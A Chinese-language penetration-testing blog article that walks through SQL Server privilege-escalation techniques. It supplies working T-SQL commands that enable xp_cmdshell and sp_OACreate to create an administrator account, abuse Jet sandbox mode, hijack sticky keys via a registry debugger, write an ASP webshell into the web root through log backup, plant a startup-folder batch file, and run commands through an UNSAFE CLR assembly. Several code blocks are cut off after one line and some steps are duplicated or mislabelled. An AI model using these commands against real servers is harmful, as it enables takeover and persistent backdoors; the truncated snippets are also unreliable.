0x00 SQLServer提权基础
1、SQLServer权限
列出sql server 角色用户的权限
按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:
1.bulkadmin:这个角色可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server2008数据库中,为需要执行大容量插入到数据库的域帐号而设计.
2.dbcreator:这个角色可以创建,更改,删除和还原任何数据库.不仅适合助理DBA角色,也可能适合开发人员角色.
3.diskadmin:这个角色用于管理磁盘文件,比如镜像数据库和添加备份设备.适合助理DBA
4.processadmin:SQL Server 2008可以同时多进程处理.这个角色可以结束进程(在SQL Server 2008中称为”删除”)
5.public:有两大特点:第一,初始状态时没有权限;第二,所有数据库用户都是它的成员
6.securityadmin:这个角色将管理登录名及其属性.可以授权,拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码
7.serveradmin:这个角色可以更改服务器范围的配置选项和关闭服务器
8.setupadmin:为需要管理联接服务器和控制启动的存储过程的用户而设计.
9.sysadmin:这个角色有权在SQL Server 2008 中执行任何操作.
2、常见SQL Server提权命令
(1)查看数据库版本
1 |
select @@version |
(2)查看数据库版本
1 |
select @@version |
(3)查看数据库系统参数
1 |
exec master..xp_msver; |
(4)查看用户所属角色信息
1 |
sp_helpsrvrolemember |
(5)查看当前数据库
1 |
select db_name(); |
(6)显示机器上的驱动器
1 |
xp_availablemedia |
(7)查看当前账户权限
1 |
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限 |
(8)开启xp_cmdshell
1 |
exec sp_configure 'show advanced options', 1;reconfigure; |
(9)关闭xp_cmdshell
1 |
exec sp_configure 'show advanced options', 1;reconfigure; |
(10)禁用advanced options
1 |
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE; |
(11)sp_OACreate执行命令
1 |
DECLARE @js int |
(12)sp_OACreate移动文件
1 |
declare @aa int |
(13)sp_OACreate复制文件
1 |
declare @o int |
(14)sp_OACreate删除文件
1 |
DECLARE @Result int |
0x01 SQLServer提权方法
根据当前拥有的权限分为如下两种情况来进行SQL Server的提权。
0x02在SA权限下存在xp_cmdshell
如果存在xp_cmdshell,使用xp_cmdshell执行命令添加用户,当出现错误可以恢复和开启xp_cmdshell
(1)测试xp_cmdshell是否可以执行
1 |
exec master..xp_cmdshell 'ver' |
获取操作系统版本
(2)添加管理员用户
添加用户
1 |
exec master.dbo.xp_cmdshell 'net user quan 123456 /add' |
添加至管理员组
1 |
exec master.dbo.xp_cmdshell 'net localgroup administrators quan /add' |
0x03在SA权限下使用sp_OACreate执行命令
当xp_cmdshell无法使用时,可以使用sp_OACreate执行命令
开启sp_OACreate
1 |
exec sp_configure 'show advanced options', 1;RECONFIGURE; |
使用wscript.shell直接添加系统帐户
查询分离器连接后,xp或2003server系统下使用:
1 |
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add' |
其他操作如下:
(1)sp_OACreate替换粘贴键
1 |
declare @o int |
需要同时具备sp_oacreate 和sp_oamethod 两个功能组件。
成功后3389登陆按五次shift键。成功进入服务器。一直向上点”我的电脑“右键“管理” 用户管理直接加用户。
(2)Shell.Application执行命令
declare @o int
exec sp_oacreate ‘Shell.Application’, @o out
exec sp_oamethod @o, ‘ShellExecute’,null, ‘cmd.exe’,’cmd /c net user >c:\test.txt’,’c:\windows\system32’,’’,’1’;
or
exec sp_oamethod @o, ‘ShellExecute’,null, ‘user.vbs’,’’,’c:’,’’,’1’;
(3)使用wscript.shell执行命令
1 |
use master |
public提权操作
1 |
USE msdb |
0x04 在SA权限下沙盒提权
沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。
使用场景:无法执行命令时,xp_regwrite可用
(使用条件)
(1)首先检查xp_cmdshell是 否开启
1 |
select count(*) from master.dbo.sysobjects where xtyoe='x' and name='xp_cmdshell' |
(2)开启沙盒模式:
1 |
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 |
SandBoxMode参数含义(默认是2)0
:在任何所有者中禁止启用安全模式1
:为仅在允许范围内2
:必须在access模式下3
:完全开启
(3)利用jet.oledb执行系统命令添加用户
1 |
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net user quan 121345 /add")') |
(4)将quan用户添加至管理员组
1 |
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net localgroup administrators quan /add")') |
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
0x05在SA权限下 注册表劫持粘贴键
当只有xp_regwrite可用时可以劫持粘滞键(sethc.exe),使用xp_regwrite修改注册表
1 |
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe'; |
0x06 DBA权限下通过备份到网站目录getshell
DBA权限下通过备份文件提权步骤如下
两种备份方式如下
(1)差异备份
1 |
backup database 库名 to disk = 'c:\quan.bak';//完整备份一次(保存位置可以改) |
(2)LOG备份
LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL
,而差异备份不需要,所以只有这条语句的就是LOG备份
1 |
alter database 数据库名称 set RECOVERY FULL; |
;backup log 数据库名称 to disk = ‘E:\wwwroot\asp_sqli\hack2.asp’ –
0x07 DBA权限下通过备份文件到启动项提权
(1)先测试xp_cmdshell
是否可用
1 |
exec master..xp_cmdshell 'ver' |
提示权限拒绝,说明是db_owner
权限.
(2)利用xp_dirtree
列目录
1 |
exec master..xp_dirtree 'c:\',1,1 |
(3)查看启动项
1 |
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1 |
(4)列数据库
1 |
SELECT DB_NAME() |
(5)利用url或者sql查询器log备份bat或一句话
1 |
alter database [northwind] set RECOVERY FULL-- |
(6)再去查看一下启动项就有一个bat了
1 |
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1 |
0x08利用SQL Server CLR提权
Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework
的公共语言运行时 (CLR) 组件集成的功能CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。
对于 SQL Server 用户和应用程序开发人员来说CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。
要通过此种方式来执行命令,也有几个前提:
1、在SQL Server上能启用CLR并可以创建自定义存储过程
2、SQL Server当前账号具有执行命令/代码所需要的权限
创建CLR有两种方式
第一种就是通过DLL创建
1 |
CREATE ASSEMBLY AssemblyName from ‘DLLPath’ |
第二种就是通过文件十六进制流
1 |
CREATE ASSEMBLY AssemblyName from 文件十六进制流 |
1、安装Visual Studio和SQL Server数据库,此次测试使用了VS2017跟SQL2012。
2、创建一个新的SQL Server数据库项目
3、设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012;
将SQLCLR权限级别修改为UNSAFE
;修改.Net 框架版本为自己需要的版本;语言选择C#
4、右键项目,选择添加->新建项,新建SQL CLR C# 存储过程
5、填入以下测试代码:
1 |
using System; |
6、填入代码以后进行编译,之后到编译目录下可以看到一个dacpac
后缀的文件
7、双击此文件进行解压,将解压出一个名为mode.sql
的文件。
8、执行SQL文件中的以下语句
1 |
CREATE ASSEMBLY [ExecCode] |
之后执行:
1 |
CREATE PROCEDURE [dbo].[SqlStoredProcedure1] |
9、开启数据库服务器配置选项clr enabled
1 |
EXEC sp_configure N'show advanced options', N'1' |
–开启clr enabled 选项
1 |
EXEC sp_configure N'clr enabled', N'1' |
–关闭所有服务器配置选项
1 |
EXEC sp_configure N'show advanced options', N'0' |
–如果存在权限问题,执行下面一段脚本
1 |
alter database [master] set TRUSTWORTHY on |
10、执行命令:
1 |
EXEC [dbo].[SqlStoredProcedure1]; |
11、删除存储过程
1 |
DROP PROCEDURE [dbo].[SqlStoredProcedure1]; |
0x09 参考文章
《网络攻防实战研究——漏洞利用与提权》
https://www.cnblogs.com/wh4am1/p/11669539.html
https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html
https://www.cnblogs.com/0nc3/p/12071345.html
FROM :b0urne.top | Author:b0urne
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论